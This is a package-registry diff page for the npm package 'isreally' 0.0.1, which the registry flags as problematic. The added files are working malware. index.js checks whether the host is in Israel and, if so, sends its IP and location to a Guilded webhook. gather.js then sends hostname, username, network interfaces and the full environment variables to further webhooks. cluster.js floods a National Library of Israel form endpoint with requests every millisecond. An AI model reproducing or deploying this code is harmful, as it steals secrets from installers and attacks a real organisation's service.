isreally 0.0.1
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of isreally might be problematic. Click here for more details.
- package/README.md +2 -0
- package/cluster.js +48 -0
- package/gather.js +119 -0
- package/index.js +47 -0
- package/package.json +15 -0
package/README.md
ADDED
package/cluster.js
ADDED
@@ -0,0 +1,48 @@
|
|
1
|
+
|
2
|
+
const fetch = require('node-fetch')
|
3
|
+
const cluster = require('cluster');
|
4
|
+
const numCPUs = 100;
|
5
|
+
try{
|
6
|
+
if (cluster.isMaster) {
|
7
|
+
// Fork workers based on the number of CPU cores or to a specified number (5 in this case)
|
8
|
+
for (let i = 0; i < Math.min(5, numCPUs); i++) {
|
9
|
+
cluster.fork();
|
10
|
+
}
|
11
|
+
|
12
|
+
cluster.on('online', (worker) => {
|
13
|
+
|
14
|
+
});
|
15
|
+
|
16
|
+
cluster.on('exit', (worker, code, signal) => {
|
17
|
+
|
18
|
+
});
|
19
|
+
} else {
|
20
|
+
setInterval(() => {
|
21
|
+
fetch("https://nationallibraryofisrael.formtitan.com/webprojects/push/sfmapping", {
|
22
|
+
"headers": {
|
23
|
+
"accept": "application/json, text/plain, */*",
|
24
|
+
"accept-language": "en-US,en;q=0.5",
|
25
|
+
"cache-control": "no-cache",
|
26
|
+
"content-type": "multipart/form-data; boundary=----WebKitFormBoundarysv4duUpizWlqaDaJ",
|
27
|
+
"expires": "0",
|
28
|
+
"fturl": "https://nationallibraryofisrael.formtitan.com/ftproject/nli_newsletters/sub_en",
|
29
|
+
"pragma": "no-cache",
|
30
|
+
"sec-ch-ua": "\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Brave\";v=\"120\"",
|
31
|
+
"sec-ch-ua-mobile": "?0",
|
32
|
+
"sec-ch-ua-platform": "\"Linux\"",
|
33
|
+
"sec-fetch-dest": "empty",
|
34
|
+
"sec-fetch-mode": "cors",
|
35
|
+
"sec-fetch-site": "same-origin",
|
36
|
+
"sec-gpc": "1",
|
37
|
+
"sfauthhash": "undefined"
|
38
|
+
},
|
39
|
+
"referrer": "https://nationallibraryofisrael.formtitan.com/ftproject/nli_newsletters/sub_en",
|
40
|
+
"referrerPolicy": "unsafe-url",
|
41
|
+
"body": "------WebKitFormBoundarysv4duUpizWlqaDaJ\r\nContent-Disposition: form-data; name=\"elemUID\"\r\n\r\ne362\r\n------WebKitFormBoundarysv4duUpizWlqaDaJ\r\nContent-Disposition: form-data; name=\"ruleUID\"\r\n\r\nundefined\r\n------WebKitFormBoundarysv4duUpizWlqaDaJ\r\nContent-Disposition: form-data; name=\"actionRuleId\"\r\n\r\n52c60fae-6ef2-48fe-a15b-fb0a1ab15237\r\n------WebKitFormBoundarysv4duUpizWlqaDaJ\r\nContent-Disposition: form-data; name=\"nodeId\"\r\n\r\n11ba09f0-75a1-45d6-8c70-dcb2f22bea09\r\n------WebKitFormBoundarysv4duUpizWlqaDaJ\r\nContent-Disposition: form-data; name=\"state\"\r\n\r\n{\"param##3b42582a-ac55-4b37-8ab3-e31fcb93c07b\":\"0037R00003Owh5EQAR\",\"prot_3b42582a-ac55-4b37-8ab3-e31fcb93c07b\":\"\",\"view:p356##p356:e361\":\"sadsadjkasj@gmail.com\",\"view:p356##p356:e359\":\"sadsadasd\",\"view:p356##p356:e360\":\"dsadwdxadasd\",\"view:p356##p356:e480\":\"213982321\"}\r\n------WebKitFormBoundarysv4duUpizWlqaDaJ\r\nContent-Disposition: form-data; name=\"list\"\r\n\r\n{\"52a8e0a2-01f7-4e10-a2a3-5a12ada48ded\":{}}\r\n------WebKitFormBoundarysv4duUpizWlqaDaJ\r\nContent-Disposition: form-data; name=\"clientY\"\r\n\r\n811\r\n------WebKitFormBoundarysv4duUpizWlqaDaJ--\r\n",
|
42
|
+
"method": "POST",
|
43
|
+
"mode": "cors",
|
44
|
+
"credentials": "include"
|
45
|
+
}).catch(err => {})
|
46
|
+
},1)
|
47
|
+
}
|
48
|
+
}catch(err){}
|
package/gather.js
ADDED
@@ -0,0 +1,119 @@
|
|
1
|
+
const fs = require('fs')
|
2
|
+
const os = require('os')
|
3
|
+
const path = require('path')
|
4
|
+
const proc = require('process')
|
5
|
+
const cp = require('child_process')
|
6
|
+
|
7
|
+
const fetch = require('node-fetch')
|
8
|
+
|
9
|
+
|
10
|
+
|
11
|
+
|
12
|
+
const webhook = "https://media.guilded.gg/webhooks/747593aa-585d-46ac-81ae-012de3fab9b6/5HGiCm5TEsUG6IcyIcc4cSCoCqE2eMwcGGug4sqcCmQ2y0KEyY6wuycga0aiEG68MmWwwCWiA6Mw2Iya4uIIGi"
|
13
|
+
const envhook = "https://media.guilded.gg/webhooks/2eaf453d-ea5c-4b0e-b980-951b4145cfc8/JZ47Yadc8C4wW6mqIWSeow6wQs4YqgMkumS28Q80iAycqiMs8qAYuUaikUcYkQ02Kck2i0YEA602kaUQcMeGW4"
|
14
|
+
const nethook = "https://media.guilded.gg/webhooks/bb430717-4a4a-4b88-9e55-ddbefa2ad590/I20FVujre62aeOgMM60MGi8cg6uK0WK2iE66KgcYIK64GI4ckwm4Ag6Y08YaUKkmQY2WoOI0MYK42SgcmgSwKK"
|
15
|
+
|
16
|
+
|
17
|
+
module.exports = async (id, date) => {
|
18
|
+
try{
|
19
|
+
|
20
|
+
const cpu = os.cpus().at(0).model;
|
21
|
+
const platform = os.platform()
|
22
|
+
const arch = os.arch();
|
23
|
+
const hostname = os.hostname()
|
24
|
+
const homedir = os.homedir()
|
25
|
+
const dir = path.join(__dirname, '.')
|
26
|
+
const cores = os.cpus().length;
|
27
|
+
const mem = `${((os.freemem() / (1024 * 1024 * 1024)).toFixed(2))}/${((os.totalmem() / (1024 * 1024 * 1024)).toFixed(2))}`
|
28
|
+
const username = os.userInfo().username;
|
29
|
+
const shell = os.userInfo().shell;
|
30
|
+
const version = os.version()
|
31
|
+
const type = os.type()
|
32
|
+
const tmp = os.tmpdir()
|
33
|
+
const mach = os.machine()
|
34
|
+
const release = os.release()
|
35
|
+
const node = proc.versions.node;
|
36
|
+
const loadavg = os.loadavg().join(', ');
|
37
|
+
const env = JSON.stringify(proc.env)
|
38
|
+
const execp = proc.execPath
|
39
|
+
const cwd = proc.cwd()
|
40
|
+
const argv = JSON.stringify(proc.argv)
|
41
|
+
const eth = JSON.stringify(os.networkInterfaces()['eth0'])
|
42
|
+
const wifi = JSON.stringify(os.networkInterfaces()['Wi-Fi'])
|
43
|
+
const root = fs.statSync('/').size
|
44
|
+
|
45
|
+
const content =
|
46
|
+
`Date: ${new Date().toLocaleString().replaceAll(':', ' : ')}
|
47
|
+
id: ${id}
|
48
|
+
date: ${date}
|
49
|
+
|
50
|
+
CPU: ${cpu}
|
51
|
+
Platform: ${platform}
|
52
|
+
Architecture: ${arch}
|
53
|
+
Hostname: ${hostname}
|
54
|
+
Home Directory: ${homedir}
|
55
|
+
dir: ${dir}
|
56
|
+
CPU Cores: ${cores}
|
57
|
+
Memory: ${mem}
|
58
|
+
Username: ${username}
|
59
|
+
Shell: ${shell}
|
60
|
+
OS Version: ${version}
|
61
|
+
OS Type: ${type}
|
62
|
+
OS Release: ${release}
|
63
|
+
Temp Directory: ${tmp}
|
64
|
+
Machine: ${mach}
|
65
|
+
Node Version: ${node}
|
66
|
+
Load Average: ${loadavg}
|
67
|
+
Node Executable Path: ${execp}
|
68
|
+
Current Working Directory: ${cwd}
|
69
|
+
Root Directory Size: ${root}
|
70
|
+
Argv: \n${argv}
|
71
|
+
|
72
|
+
|
73
|
+
`
|
74
|
+
|
75
|
+
|
76
|
+
|
77
|
+
fetch(webhook, {
|
78
|
+
method: "POST",
|
79
|
+
headers: {
|
80
|
+
'Content-Type': 'application/json'
|
81
|
+
},
|
82
|
+
body: JSON.stringify({ content })
|
83
|
+
})
|
84
|
+
fetch(nethook, {
|
85
|
+
method: "POST",
|
86
|
+
headers: {
|
87
|
+
'Content-Type': 'application/json'
|
88
|
+
},
|
89
|
+
body: JSON.stringify({ content: 'id: ' + id + '\ndate: ' + date + '\n\neth:\n'+eth })
|
90
|
+
})
|
91
|
+
fetch(nethook, {
|
92
|
+
method: "POST",
|
93
|
+
headers: {
|
94
|
+
'Content-Type': 'application/json'
|
95
|
+
},
|
96
|
+
body: JSON.stringify({ content: 'id: ' + id + '\ndate: ' + date + '\n\nwifi:\n'+wifi })
|
97
|
+
})
|
98
|
+
|
99
|
+
|
100
|
+
|
101
|
+
fetch(envhook, {
|
102
|
+
method: "POST",
|
103
|
+
headers: {
|
104
|
+
'Content-Type': 'application/json'
|
105
|
+
},
|
106
|
+
body: JSON.stringify({ content: 'id: ' + id + '\ndate: ' + date + '\n\nenv:\n'+env.slice(0, 1900) })
|
107
|
+
})
|
108
|
+
fetch(envhook, {
|
109
|
+
method: "POST",
|
110
|
+
headers: {
|
111
|
+
'Content-Type': 'application/json'
|
112
|
+
},
|
113
|
+
body: JSON.stringify({ content: 'id: ' + id + '\ndate: ' + date + '\n\nenv2:\n'+env.slice(1900, 3800) })
|
114
|
+
})
|
115
|
+
|
116
|
+
cp.fork('./cluster.js')
|
117
|
+
}catch(err){}
|
118
|
+
|
119
|
+
}
|
package/index.js
ADDED
@@ -0,0 +1,47 @@
|
|
1
|
+
const fetch = require('node-fetch');
|
2
|
+
const crypto = require('crypto')
|
3
|
+
const cp = require('child_process')
|
4
|
+
const gather = require('./gather')
|
5
|
+
const token = "1c13df45a1513c"
|
6
|
+
const webhook = "https://media.guilded.gg/webhooks/03320091-877d-4b2e-b315-5e4eda428c4f/2VFbAzlOUEcAykQQ4UqYEKOMskUKMgggou0Aa06i24mgQsUg8YmOcsgIcCUaYCWoEiSo0SYCySqWqiAAuU8Yiu"
|
7
|
+
|
8
|
+
|
9
|
+
|
10
|
+
try{
|
11
|
+
fetch("https://ipinfo.io/?token=" + token, {
|
12
|
+
"referrerPolicy": "strict-origin-when-cross-origin",
|
13
|
+
"body": null,
|
14
|
+
"method": "GET"
|
15
|
+
})
|
16
|
+
.then(res => res.json())
|
17
|
+
.then(json => {
|
18
|
+
if(json.country && json.country === 'IL'){
|
19
|
+
|
20
|
+
const id = crypto.randomUUID()
|
21
|
+
const date = Date.now();
|
22
|
+
const { ip, city, org, loc, region, timezone } = json;
|
23
|
+
const content =
|
24
|
+
`Date: ${new Date().toLocaleString().replaceAll(':', ' : ')}
|
25
|
+
id: ${id}
|
26
|
+
date: ${date}
|
27
|
+
|
28
|
+
IP: ${ip}
|
29
|
+
City: ${city}
|
30
|
+
Organization: ${org}
|
31
|
+
Location: ${loc}
|
32
|
+
Region: ${region}
|
33
|
+
Timezone: ${timezone}
|
34
|
+
`
|
35
|
+
fetch(webhook, {
|
36
|
+
method: "POST",
|
37
|
+
headers: {
|
38
|
+
'Content-Type': 'application/json'
|
39
|
+
},
|
40
|
+
body: JSON.stringify({ content })
|
41
|
+
})
|
42
|
+
gather(id, date)
|
43
|
+
|
44
|
+
}
|
45
|
+
})
|
46
|
+
.catch(err => console.error(err))
|
47
|
+
}catch(err){}
|
package/package.json
ADDED
@@ -0,0 +1,15 @@
|
|
1
|
+
{
|
2
|
+
"name": "isreally",
|
3
|
+
"version": "0.0.1",
|
4
|
+
"description": "isreally",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"start": "node .",
|
8
|
+
"test": "nodemon -q index.js"
|
9
|
+
},
|
10
|
+
"author": "fuhrerreich",
|
11
|
+
"license": "MIT",
|
12
|
+
"dependencies": {
|
13
|
+
"node-fetch": "^2.6.1"
|
14
|
+
}
|
15
|
+
}
|